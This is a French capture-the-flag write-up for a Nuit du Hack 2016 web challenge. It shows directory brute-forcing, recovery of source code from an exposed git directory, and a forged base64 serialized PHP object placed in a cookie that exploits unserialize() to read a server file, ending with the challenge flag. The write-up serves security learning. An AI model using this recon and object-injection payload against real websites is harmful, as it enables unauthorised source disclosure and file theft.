Présentation d’un write-up de résolution du challenge « WebApp – Find Me I’m Famous » des qualifications du CTF de la Nuit du Hack 2016.
Le weekend du 01/04/2016 se déroulait les pré-qualifications pour la Nuit du Hack 2016 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges auquel nous avons pu participer.
- Catégorie : WebApp
- Nom : Find Me I’m Famous
- Description : Hey Dude! This authentication annoys me, please help!
- URL : http://findmeimfamous.quals.nuitduhack.com
- Points : 100
En se rendant sur la page du challenge « http://findmeimfamous.quals.nuitduhack.com » on visualise un formulaire requérant un « login » et un « age ». Pas de vérification sur le format des données entrées.
Après avoir entré un login et age arbitraire, une nouvelle page nous redemande de s’identifier :
Une fois l’identification réalisée, nous arrivons sur la page « result.php » qui nous affiche le message de bienvenu avec l’information liée à notre age :
On observe les échanges réalisés au cours des différentes requêtes et on remarque qu’à destination de la page « result.php » un cookie « cook » est incorporé à la requête.
Cookie=PHPSESSID=kdf7p64lmaqpkp9nufqbi1gqn0; cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czozOiJ4eHgiO3M6NDoibmFtZSI7czo0OiJ5Y2FtIjt9
La valeur de « cook » peut être URL-décodée puis Base64-décodée pour donner :
O:4:"User":2:{s:3:"age";s:3:"xxx";s:4:"name";s:4:"ycam";}
Ce cookie contient donc l’image de notre objet utilisateur « User » sérialisé et en base64. A la lecture de ce format sérialisé on en déduit :
- Qu’une classe « User » est définie côté serveur
- Cette classe dispose de 2 attributs publiques sous forme de chaîne de caractère
- age
- name
En regardant au niveau du code source de la page, on remarque la présence de la balise « <meta> » indiquant l’auteur :
Quelques recherches nous ramènent sur tympanus, permettant de télécharger un package HTML/CSS de ce modèle de mire de login / inscription. Seulement le package ne contient aucun exemple de code côté serveur tels que ceux en place pour le challenge (index.php, result.php, etc.).
On poursuit l’analyse en lançant un guessing de répertoires d’intérêt sur la cible :
dirb http://findmeimfamous.quals.nuitduhack.com /usr/share/wordlists/dirb/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sat Apr 2 20:13:53 2016 URL_BASE: http://findmeimfamous.quals.nuitduhack.com/ WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://findmeimfamous.quals.nuitduhack.com/ ---- + http://findmeimfamous.quals.nuitduhack.com/cgi-bin/ (CODE:403|SIZE:217) ==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/css/ ==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/git/ ==> DIRECTORY: http://findmeimfamous.quals.nuitduhack.com/images/ + http://findmeimfamous.quals.nuitduhack.com/index.php (CODE:200|SIZE:2382) + http://findmeimfamous.quals.nuitduhack.com/server-status (CODE:403|SIZE:222) ---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/css/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/git/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://findmeimfamous.quals.nuitduhack.com/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat Apr 2 20:18:05 2016 DOWNLOADED: 4612 - FOUND: 3
Intéressant ! Un répertoire « git » listable est présent à la racine :
Il semblerait que bien que ce répertoire se nomme « git », il corresponde à un répertoire technique de versionning de l’outil eponyme nommé « .git » au sein d’un repos.
J’en profite pour vous aiguiller vers l’excellent article d’InternetWache, qui détaille la dangerosité et présente divers outils permettant de récupérer le code source complet d’un site Internet à partir des fuites d’information de son répertoire « .git » exposé ; que ce répertoire soit listable (Index Of) ou non !
On poursuit via la copie récursive de tout le contenu de ce répertoire :
wget --mirror -I git http://findmeimfamous.quals.nuitduhack.com/git/
On renomme le répertoire de configuration et nettoie les quelques fichiers résiduels dus à l’Index of :
mv git .git rm .git/index.html* rm .git/refs/index.html*
On dispose donc du répertoire technique « .git » du projet du challenge, sans le code source et les fichiers du projets en eux-mêmes. Vérifions l’intégrité et les derniers évènements du dépôts :
# git status Sur la branche master Votre branche est à jour avec 'origin/master'. Modifications qui ne seront pas validées : (utilisez "git add/rm <fichier>..." pour mettre à jour ce qui sera validé) (utilisez "git checkout -- <fichier>..." pour annuler les modifications dans la copie de travail) supprimé : README.md supprimé : app/.buildpath supprimé : app/.project supprimé : app/.settings/org.eclipse.php.core.prefs supprimé : app/.settings/org.eclipse.wst.common.project.facet.core.xml supprimé : app/config.php supprimé : app/css/animate-custom.css supprimé : app/css/demo.css supprimé : app/css/fonts/BebasNeue-webfont.eot supprimé : app/css/fonts/BebasNeue-webfont.svg supprimé : app/css/fonts/BebasNeue-webfont.ttf supprimé : app/css/fonts/BebasNeue-webfont.woff supprimé : app/css/fonts/Dharma Type Font License.txt supprimé : app/css/fonts/fontomas-webfont.eot supprimé : app/css/fonts/fontomas-webfont.svg supprimé : app/css/fonts/fontomas-webfont.ttf supprimé : app/css/fonts/fontomas-webfont.woff supprimé : app/css/fonts/franchise-bold-webfont.eot supprimé : app/css/fonts/franchise-bold-webfont.svg supprimé : app/css/fonts/franchise-bold-webfont.ttf supprimé : app/css/fonts/franchise-bold-webfont.woff supprimé : app/css/style.css supprimé : app/css/style2.css supprimé : app/css/style3.css supprimé : app/fileclasse.php supprimé : app/images/ImageAttribution.txt supprimé : app/images/bg.jpg supprimé : app/index.php supprimé : app/result.php supprimé : app/ufhkistgfj.php supprimé : app/userclass.php aucune modification n'a été ajoutée à la validation (utilisez "git add" ou "git commit -a")
Intéressant… Restaurons le dépôt et les codes sources originels !
# git checkout -- . # ll app/ total 56 drwxr-xr-x 5 root root 4096 avril 2 20:27 . drwxr-xr-x 4 root root 4096 avril 2 20:27 .. -rw-r--r-- 1 root root 174 avril 2 20:27 .buildpath -rw-r--r-- 1 root root 22 avril 2 20:27 config.php drwxr-xr-x 3 root root 4096 avril 2 20:27 css -rw-r--r-- 1 root root 159 avril 2 20:27 fileclasse.php drwxr-xr-x 2 root root 4096 avril 2 20:27 images -rw-r--r-- 1 root root 5093 avril 2 20:27 index.php -rw-r--r-- 1 root root 725 avril 2 20:27 .project -rw-r--r-- 1 root root 2012 avril 2 20:27 result.php drwxr-xr-x 2 root root 4096 avril 2 20:27 .settings -rw-r--r-- 1 root root 26 avril 2 20:27 ufhkistgfj.php -rw-r--r-- 1 root root 266 avril 2 20:27 userclass.php
Nous pouvons à présent consulter les fichiers du challenge :
# cat config.php NOT here ...
Un fichier au nom particulier nous intrigue :
# cat ufhkistgfj.php #I will add the flag here
C’est donc lui qui doit disposer du « flag » en production. Vérifions la page « result.php » :
# cat result.php <?php include('./userclass.php'); include('./fileclasse.php'); session_start(); if (isset($_COOKIE["cook"]) && !empty($_COOKIE["cook"])){ $obj = unserialize(base64_decode($_COOKIE['cook'])); ob_start(); echo $obj; $ff = $obj->name; } if(isset($_POST["name_2"]) && !empty($_POST['name_2']) && $ff==$_POST['name_2']) { ?> <!DOCTYPE html> <!--[if lt IE 7 ]> <html lang="en" class="no-js ie6 lt8"> <![endif]--> <!--[if IE 7 ]> <html lang="en" class="no-js ie7 lt8"> <![endif]--> <!--[if IE 8 ]> <html lang="en" class="no-js ie8 lt8"> <![endif]--> <!--[if IE 9 ]> <html lang="en" class="no-js ie9"> <![endif]--> <!--[if (gt IE 9)|!(IE)]><!--> <html lang="en" class="no-js"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <!-- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> --> <title>index</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Login and Registration Form with HTML5 and CSS3" /> <meta name="keywords" content="html5, css3, form, switch, animation, :target, pseudo-class" /> <meta name="author" content="Codrops" /> <link rel="shortcut icon" href="../favicon.ico"> <link rel="stylesheet" type="text/css" href="css/demo.css" /> <link rel="stylesheet" type="text/css" href="css/style.css" /> <link rel="stylesheet" type="text/css" href="css/animate-custom.css" /> </head> <body> <div class="container"> <section> <div id="container_demo" > <div id="wrapper"> <div id="login" class="animate form"> <h1>TEST</h1> <br/><p> TEXT</p> </div> </div> </div> </section> </div> </body> </html> <?php } else { header("location: index.php"); } ?>
C’est cette page qui s’occupe de récupérer notre valeur de cookie « cook », de la décoder en base64, puis de déssérialiser l’object contenu. Aucune vérifications de typage de l’objet ni de transtypage/cast n’est réalisée. La vulnérabilité finale commence à se dessiner…
On remarque également qu’une fois l’object « $obj » régénéré, un « echo $obj; » est réalisé, ce qui a pour effet d’appeler automatiquement la méthode magique « __toString() » (si présente) au sein de l’object en question. Vérifions si cette méthode est présente dans notre objet « User » défini dans « userclass.php » :
# cat userclass.php <?php class User { // Class data public $age = 0; public $name = ''; // Allow object to be used as a String public function __toString() { return 'Hello ' . $this->name . ' you have ' . $this->age . ' years old. <br />'; } } ?>
Faits avérés ! Les hypothèses sur le format de définition de la classe « User » émises au début en lisant le cookie sérialisé se confirment quant à sa structure. Une méthode « __toString() » est de plus bien présente et c’est elle qui génère l’affichage du message « Hello ycam you have xxx years old. » illustré plus haut.
Mais, il reste un fichier non-utilisé jusqu’à présent parmi les sources : fileclasse.php :
# cat fileclasse.php <?php class FileClass { public $filename = 'error.log'; public function __toString() { return file_get_contents($this->filename); } }
Cette simple classe, jamais appelée / instanciée dans le projet, dispose d’une structure quasi-similaire à la classe User ; si ce n’est qu’un seul attribut est défini (le nom du fichier dont le contenu sera lu à l’appel de la méthode __toString()). Oui, cette classe a également sa méthode __toString() de définie ! L’idée à présent va donc être de régénérer un cookie d’un objet « FileClass » et non plus « User » sérialisé, pour appeler cette méthode __toString() afin de lire le contenu du fichier « ufhkistgfj.php ».
Modification de l’object sérialisé et son équivalent en base64 :
O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";} Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9
On injecte ce cookie lors de la requête à « result.php » pour que notre instance « FileClass » d’attribut « $filename = ‘ufhkistgfj.php' » soit dé-sérialisée puis que sa méthode __toString() soit appelée :
Résultat :
Le flag : NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]
Salutations à nj8, St0rn, Emiya, Mido, downg(r)ade, Ryuk@n et rikelm, on remet ça quand vous voulez 😉 // Gr3etZ
Sources & ressources :